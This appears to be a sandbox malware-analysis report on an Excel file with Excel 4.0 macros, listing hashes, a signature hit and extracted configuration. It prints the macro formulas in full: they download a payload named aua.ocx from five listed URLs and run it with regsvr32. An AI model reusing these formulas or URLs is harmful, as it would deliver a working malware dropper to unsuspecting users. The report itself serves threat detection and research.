General
-
Target
287dd979a7d89185ee38a1ee9416bed38b329da7303449fca587d780532931ec
-
Size
69KB
-
MD5
0266070c7f54c0a4422ccc4462b8c877
-
SHA1
cd524d603b7e06f6b85bf952a5925fc8bc0dc85a
-
SHA256
287dd979a7d89185ee38a1ee9416bed38b329da7303449fca587d780532931ec
-
SHA512
82bc04eaeab4df993ef6fd661fc1349f68873e2dc94a2a65ba5c234b7ed41f426e859394a1d2426a00f691a990d33e7c921c310f7407e1524dc1705eb60aa52c
-
SSDEEP
1536:9yBvEXHLWhxndhjh/VwBpSZobSex7jB0FfuZibVkq:66rWhxHjh88ZoH7juFuZi6q
Malware Config
Extracted
https://karmapedia.com/wp-includes/X0PZpQ/
http://webnatico.com/wp-content/upgrade/AMnS3zau6FvzG/
http://moveconnects.com/item-immo/5NAtMXXCkzQ5NrX3z/eTD8Fbu3JSWQ/
https://mustknew.com/lovecalculator/i/
https://baicc-ct.org/wp-admin/E6Z5DApRJ/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://karmapedia.com/wp-includes/X0PZpQ/","..\aua.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://webnatico.com/wp-content/upgrade/AMnS3zau6FvzG/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moveconnects.com/item-immo/5NAtMXXCkzQ5NrX3z/eTD8Fbu3JSWQ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mustknew.com/lovecalculator/i/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://baicc-ct.org/wp-admin/E6Z5DApRJ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aua.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
287dd979a7d89185ee38a1ee9416bed38b329da7303449fca587d780532931ec